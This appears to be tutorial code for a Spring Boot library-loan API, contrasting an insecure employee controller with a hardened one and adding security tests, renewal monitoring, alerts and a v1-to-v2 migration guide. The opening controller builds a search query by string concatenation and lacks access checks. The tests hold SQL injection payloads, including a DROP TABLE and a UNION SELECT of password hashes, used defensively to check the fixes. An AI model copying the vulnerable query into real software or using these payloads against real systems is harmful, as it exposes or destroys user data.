    @GetMapping("/{id}/loans")
    public List<Loan> loans(@PathVariable Long id) {
        return loanRepository.findByEmployeeId(id);
    }

    @PutMapping("/{id}")
    public Employee update(@PathVariable Long id, @RequestBody Employee employee) {
        employee.setId(id);
        return repository.save(employee);
    }

    @GetMapping("/search")
    public List<Employee> search(@RequestParam String name) {
        return em.createQuery("select e from Employee e where e.name like '%" + name + "%'",
                              Employee.class).getResultList();
    }
}

GET /api/v1/loans/42
{
  "id": 42,
  "isbn": "978-0000000001",
  "employee": "Marta Ruiz",
  "due": "2026-08-20",
  "returned": false,
  "fine": 0
}

@RestController
@RequestMapping("/api/v1/employees")
@Validated
@Tag(name = "Employees")
public class EmployeeController {

    private final EmployeeService service;
    private final ManageLoans loans;

    // ---------------------------------------------------------------
    // Fetching one employee: either it is you, or you are ADMIN
    // ---------------------------------------------------------------
    @GetMapping("/{id}")
    @PreAuthorize("#id == authentication.principal.id or hasRole('ADMIN')")
    public EmployeeResponse byId(@PathVariable Long id) {
        return service.findById(id)
                .map(EmployeeResponse::from)           // DTO: no password hash, no internal role
                .orElseThrow(() -> new EmployeeNotFoundException(id));       // → 404
    }

    // ---------------------------------------------------------------
    // Loans: your own, or LIBRARIAN/ADMIN
    // ---------------------------------------------------------------
    @GetMapping("/{id}/loans")
    @PreAuthorize("#id == authentication.principal.id or hasAnyRole('LIBRARIAN','ADMIN')")
    public PageResponse<LoanResponse> loansOf(
            @PathVariable Long id,
            @RequestParam(required = false) LoanStatus status,
            @PageableDefault(size = 20, sort = "loanDate",
                             direction = Sort.Direction.DESC) Pageable pageable) {

        if (!service.exists(id)) throw new EmployeeNotFoundException(id);

        return PageResponse.from(
                loans.ofEmployee(id, status, pageable).map(LoanResponse::from));
    }

    // ---------------------------------------------------------------
    // Update: closed DTO, never the entity
    // ---------------------------------------------------------------
    @PutMapping("/{id}")
    @PreAuthorize("#id == authentication.principal.id or hasRole('ADMIN')")
    public EmployeeResponse update(@PathVariable Long id,
                                   @Valid @RequestBody UpdateEmployeeRequest request) {
        // The DTO has ONLY the modifiable fields.
        // It is IMPOSSIBLE to send role, passwordHash, version or id.
        return EmployeeResponse.from(service.update(id, request));
    }

    // ---------------------------------------------------------------
    // Role change: a SEPARATE endpoint, ADMIN only, audited
    // ---------------------------------------------------------------
    @PutMapping("/{id}/role")
    @PreAuthorize("hasRole('ADMIN')")
    @Audited(action = "CHANGE_ROLE")
    public EmployeeResponse changeRole(@PathVariable Long id,
                                       @Valid @RequestBody ChangeRoleRequest request) {
        return EmployeeResponse.from(service.changeRole(id, request.role()));
    }

    // ---------------------------------------------------------------
    // Search: parameterised, paginated, with a bounded length
    // ---------------------------------------------------------------
    @GetMapping("/search")
    @PreAuthorize("hasAnyRole('LIBRARIAN','ADMIN')")
    public PageResponse<EmployeeSummaryResponse> search(
            @RequestParam @Size(min = 2, max = 100) String name,
            @PageableDefault(size = 20) Pageable pageable) {

        return PageResponse.from(
                service.findByName(name, pageable)            // PARAMETERISED query
                       .map(EmployeeSummaryResponse::from));  // summary: even less data
    }
}

/** Output: only what this endpoint is allowed to reveal. */
public record EmployeeResponse(Long id, String name, String email,
                               String department, LocalDate hireDate) {
    // NO passwordHash, NO role, NO version, NO internal data
    public static EmployeeResponse from(Employee e) {
        return new EmployeeResponse(e.getId(), e.getName(), e.getEmail(),
                                    e.getDepartment(), e.getHireDate());
    }
}

/** Summary for listings: even less information. */
public record EmployeeSummaryResponse(Long id, String name, String department) { }

/** Input: ONLY the fields a user may change about themselves. */
public record UpdateEmployeeRequest(
        @NotBlank @Size(max = 150) String name,
        @NotBlank @Email @Size(max = 200) String email,
        @Size(max = 100) String department) {
    // No id, no role, no password, no version. Structurally impossible.
}

public record ChangeRoleRequest(@NotNull Role role) { }

public interface EmployeeRepository extends JpaRepository<Employee, Long> {

    /** Parameterised: the value is NEVER interpreted as SQL. */
    @Query("""
           select e from Employee e
           where lower(e.name) like lower(concat('%', :name, '%'))
           """)
    Page<Employee> findByName(@Param("name") String name, Pageable pageable);
}

@WebMvcTest(EmployeeController.class)
@Import(SecurityConfiguration.class)
class EmployeeControllerSecurityTest {

    @Autowired MockMvc mvc;
    @MockitoBean EmployeeService service;

    @Test
    void withoutAuthenticationReturns401() throws Exception {
        mvc.perform(get("/api/v1/employees/1"))
                .andExpect(status().isUnauthorized());
    }

    @Test
    @WithMockUser(username = "2", roles = "EMPLOYEE")
    void anEmployeeCannotSeeAnotherEmployeesData() throws Exception {
        mvc.perform(get("/api/v1/employees/1"))     // user 2 asks for user 1's data
                .andExpect(status().isForbidden());  // ← the IDOR is closed
    }

    @Test
    @WithMockUser(username = "1", roles = "EMPLOYEE")
    void anEmployeeCanSeeTheirOwnData() throws Exception {
        when(service.findById(1L)).thenReturn(Optional.of(anEmployee(1L, "Marta Ruiz")));

        mvc.perform(get("/api/v1/employees/1"))
                .andExpect(status().isOk())
                .andExpect(jsonPath("$.name").value("Marta Ruiz"))
                // Check EXPLICITLY that nothing leaks
                .andExpect(jsonPath("$.passwordHash").doesNotExist())
                .andExpect(jsonPath("$.role").doesNotExist())
                .andExpect(jsonPath("$.version").doesNotExist());
    }

    @Test
    @WithMockUser(username = "1", roles = "EMPLOYEE")
    void privilegesCannotBeEscalatedThroughTheUpdate() throws Exception {
        // Mass-assignment attempt: send fields the DTO does not have
        mvc.perform(put("/api/v1/employees/1")
                        .contentType(MediaType.APPLICATION_JSON)
                        .content("""
                                {"name":"Marta Ruiz","email":"[email protected]",
                                 "role":"ADMIN","passwordHash":"whatever","id":999}"""))
                .andExpect(status().isOk());

        // The malicious fields are IGNORED: the DTO does not have them
        ArgumentCaptor<UpdateEmployeeRequest> captor =
                ArgumentCaptor.forClass(UpdateEmployeeRequest.class);
        verify(service).update(eq(1L), captor.capture());
        assertThat(captor.getValue().name()).isEqualTo("Marta Ruiz");
        // There is no way for 'role' to have reached the service
    }

    @ParameterizedTest
    @ValueSource(strings = {
        "'; DROP TABLE employees; --",
        "' OR '1'='1",
        "%' UNION SELECT password_hash FROM employees --"
    })
    @WithMockUser(roles = "LIBRARIAN")
    void searchIsImmuneToSqlInjection(String maliciousPayload) throws Exception {
        when(service.findByName(anyString(), any())).thenReturn(Page.empty());

        mvc.perform(get("/api/v1/employees/search").param("name", maliciousPayload))
                .andExpect(status().isOk())
                .andExpect(jsonPath("$.content").isEmpty());

        // The payload reaches the repository as a literal VALUE, not as SQL
        verify(service).findByName(eq(maliciousPayload), any());
    }

    @Test
    @WithMockUser(username = "1", roles = "EMPLOYEE")
    void anEmployeeCannotChangeRoles() throws Exception {
        mvc.perform(put("/api/v1/employees/1/role")
                        .contentType(MediaType.APPLICATION_JSON)
                        .content("{\"role\":\"ADMIN\"}"))
                .andExpect(status().isForbidden());
    }
}

@Service
public class AutomaticRenewal {

    private static final Logger log = LoggerFactory.getLogger(AutomaticRenewal.class);

    private final MeterRegistry registry;
    private final AtomicLong lastRun = new AtomicLong(0);

    @PostConstruct
    void registerGauges() {
        Gauge.builder("bibliotech.auto_renewal.last_run", lastRun, AtomicLong::get)
                .description("Unix timestamp of the last successful run")
                .register(registry);
    }

    @Scheduled(cron = "0 0 3 * * *")
    @SchedulerLock(name = "automaticRenewal", lockAtMostFor = "30m")        // 12-06
    public void run() {
        Timer.Sample sample = Timer.start(registry);
        MDC.put("process", "automatic-renewal");
        MDC.put("traceId", UUID.randomUUID().toString());

        int renewed = 0;
        Map<String, Integer> skipped = new HashMap<>();

        try {
            List<Loan> candidates = repository.dueIn(1);
            registry.gauge("bibliotech.auto_renewal.candidates", candidates.size());

            log.info("Automatic renewal started: {} candidates", candidates.size());

            for (Loan l : candidates) {
                Optional<String> reason = reasonNotToRenew(l);
                if (reason.isPresent()) {
                    skipped.merge(reason.get(), 1, Integer::sum);
                    registry.counter("bibliotech.auto_renewal.skipped",
                                     "reason", reason.get()).increment();
                    // DEBUG: this is the normal case, it must not flood the log
                    log.debug("Loan {} skipped: {}", l.getId(), reason.get());
                    continue;
                }
                manager.renew(l.getId(), null);
                renewed++;
                registry.counter("bibliotech.auto_renewal.renewed",
                                 "material_type", l.materialType().name()).increment();
            }

            lastRun.set(Instant.now().getEpochSecond());
            registry.counter("bibliotech.auto_renewal.runs", "result", "success")
                    .increment();

            // INFO: one line with the SUMMARY. It is what an operator would want to see (11-07).
            log.info("Automatic renewal completed: {} candidates, {} renewed, skipped={}",
                     candidates.size(), renewed, skipped);

        } catch (Exception e) {
            registry.counter("bibliotech.auto_renewal.runs", "result", "failure")
                    .increment();
            log.error("Automatic renewal failed after renewing {}", renewed, e);
            throw e;
        } finally {
            sample.stop(registry.timer("bibliotech.auto_renewal.duration"));
            MDC.clear();       // rule from 11-07
        }
    }
}

# ALERT 1: the process has stopped running.
# The MOST IMPORTANT one, because it is a SILENT failure: nothing errors,
# loans simply stop being renewed and nobody finds out
# until undue fines start arriving.
- alert: AutomaticRenewalNotRunning
  expr: (time() - bibliotech_auto_renewal_last_run) > 93600                 # 26 hours
  for: 10m
  labels: { severity: high }
  annotations:
    summary: "Automatic renewal has not run for {{ $value | humanizeDuration }}"
    action: |
      1. Does the CronJob/scheduler exist? kubectl get cronjob bibliotech-auto-renewal
      2. Is a ShedLock lock stuck? select * from shedlock where name='automaticRenewal'
      3. Run it by hand: bibliotech loan auto-renew --dry-run
    runbook: "https://wiki.nexussoftware.com/bibliotech/runbook#auto-renewal"

# ALERT 2: it runs but it fails
- alert: AutomaticRenewalFailing
  expr: increase(bibliotech_auto_renewal_runs_total{result="failure"}[25h]) > 0
  for: 5m
  labels: { severity: high }
  annotations:
    summary: "Automatic renewal has failed"
    action: "Search the logs: process=automatic-renewal level=ERROR"

# ALERT 3: an abrupt change of behaviour.
# Detects that a rule has broken: for example, a bug that makes
# EVERYTHING get skipped as 'has_reservations' when it did not before.
- alert: AutomaticRenewalAnomalousBehaviour
  expr: |
    (sum(increase(bibliotech_auto_renewal_renewed_total[25h]))
     / sum(increase(bibliotech_auto_renewal_candidates[25h]))) < 0.2
    and sum(increase(bibliotech_auto_renewal_candidates[25h])) > 20
  for: 30m
  labels: { severity: medium }
  annotations:
    summary: "Only {{ $value | humanizePercentage }} of the candidates are being renewed"
    description: "Check the distribution of bibliotech_auto_renewal_skipped by reason"

// ---------------- V1: DEPRECATED ----------------
@RestController
@RequestMapping("/api/v1/loans")
@Tag(name = "Loans v1", description = "DEPRECATED — retired on 2027-02-01")
public class LoanControllerV1 {

    private final ManageLoans manager;            // the SAME use case as v2
    private final MeterRegistry registry;

    @GetMapping("/{id}")
    @Deprecated(since = "2.0.0", forRemoval = true)
    @Operation(deprecated = true, summary = "[DEPRECATED] Use GET /api/v2/loans/{id}")
    public ResponseEntity<LoanResponseV1> byId(
            @PathVariable Long id,
            @RequestHeader(value = "X-Client", defaultValue = "unknown") String client) {

        // Measure WHO is still using v1: without this, retiring it is a gamble
        registry.counter("bibliotech.api.v1.usage", "client", client, "endpoint", "loan_by_id")
                .increment();

        Loan loan = manager.find(id).orElseThrow(() -> new LoanNotFoundException(id));

        return ResponseEntity.ok()
                .header("Deprecation", "@1756684800")                    // RFC 8594: epoch
                .header("Sunset", "Mon, 01 Feb 2027 00:00:00 GMT")
                .header("Link", "</api/v2/loans/" + id + ">; rel=\"successor-version\", "
                              + "<https://docs.nexussoftware.com/bibliotech/migration-v2>; rel=\"deprecation\"")
                .header("Warning", "299 - \"This API version will be retired on 2027-02-01\"")
                .body(LoanResponseV1.from(loan));
    }
}

/** v1 DTO: it is FROZEN. Nothing is ever added to it or removed from it again. */
public record LoanResponseV1(Long id, String isbn, String employee,
                             LocalDate due, boolean returned, BigDecimal fine) {

    public static LoanResponseV1 from(Loan l) {
        return new LoanResponseV1(
                l.getId(), l.getIsbn().value(), l.employeeName(),
                l.getDueDate(),
                l.getReturnDate().isPresent(),
                l.accruedFine(LocalDate.now()).amount());
    }
}

// ---------------- V2: CURRENT ----------------
@RestController
@RequestMapping("/api/v2/loans")
@Tag(name = "Loans")
public class LoanControllerV2 {

    @GetMapping("/{id}")
    public LoanResponseV2 byId(@PathVariable Long id) {
        Loan loan = manager.find(id).orElseThrow(() -> new LoanNotFoundException(id));
        return LoanResponseV2.from(loan, LocalDate.now(clock));
    }
}

public record LoanResponseV2(
        Long id,
        String isbn,
        EmployeeSummary employee,          // an object, not a string
        LocalDate loanDate,
        LocalDate dueDate,
        LocalDate returnDate,
        LoanStatus status,                 // an enum, not a boolean
        Amount fine,                       // an object with a currency
        boolean renewable,                 // NEW
        long daysRemaining) {              // NEW

    public record EmployeeSummary(Long id, String name, String email) { }
    public record Amount(BigDecimal amount, String currency) { }

    public static LoanResponseV2 from(Loan l, LocalDate today) {
        return new LoanResponseV2(
                l.getId(), l.getIsbn().value(),
                new EmployeeSummary(l.getEmployeeId(), l.employeeName(), l.employeeEmail()),
                l.getLoanDate(), l.getDueDate(),
                l.getReturnDate().orElse(null),
                l.getStatus(),
                new Amount(l.accruedFine(today).amount(), "EUR"),
                l.getStatus().allowsRenewal(),
                ChronoUnit.DAYS.between(today, l.getDueDate()));
    }
}

@RestController
@RequestMapping("/api/v1")
@Profile("post-v1-retirement")
public class V1RetiredController {

    @RequestMapping("/**")
    public ResponseEntity<ProblemDetail> retired(HttpServletRequest request) {
        ProblemDetail detail = ProblemDetail.forStatusAndDetail(
                HttpStatus.GONE,      // 410, not 404: "it existed and was removed on purpose"
                "Version 1 of the API was retired on 2027-02-01. Migrate to /api/v2.");
        detail.setTitle("API version retired");
        detail.setType(URI.create("https://docs.nexussoftware.com/bibliotech/migration-v2"));
        detail.setProperty("currentVersion", "v2");
        detail.setProperty("migrationGuide", "https://docs.nexussoftware.com/bibliotech/migration-v2");

        return ResponseEntity.status(HttpStatus.GONE)
                .header("Link", "</api/v2>; rel=\"successor-version\"")
                .body(detail);
    }
}

# v1 usage by client over the last 7 days
sum(increase(bibliotech_api_v1_usage_total[7d])) by (client)

# Percentage of traffic still on v1
sum(rate(bibliotech_api_v1_usage_total[1d]))
/ (sum(rate(bibliotech_api_v1_usage_total[1d])) + sum(rate(bibliotech_api_v2_usage_total[1d])))

- alert: V1UsageAfterRetirementDate
  expr: sum(increase(bibliotech_api_v1_usage_total[1d])) by (client) > 0
  labels: { severity: medium }
  annotations:
    summary: "Client {{ $labels.client }} is still using API v1"
    action: "Get in touch before 2027-02-01"

# BiblioTech API migration: v1 → v2

**v1 will be retired on 1 February 2027.**

## What changes

| v1 field | v2 field | Change |
|---|---|---|
| `employee` (string) | `employee.name` | Now an object with `id`, `name` and `email` |
| `due` | `dueDate` | Renamed |
| `returned` (boolean) | `status` (enum) | `ACTIVE`, `RENEWED`, `OVERDUE`, `RETURNED`, `LOST` |
| `fine` (number) | `fine.amount` + `fine.currency` | Object with an explicit currency |
| — | `renewable` | **New** |
| — | `daysRemaining` | **New** |
| — | `loanDate`, `returnDate` | **New** |

## Equivalences

## Timeline
- **2026-09-01**: v2 available. v1 deprecated (works as normal).
- **2027-01-01**: final warning.
- **2027-02-01**: v1 retired. It will return `410 Gone`.

## Help
[email protected] — or open an issue in the repository.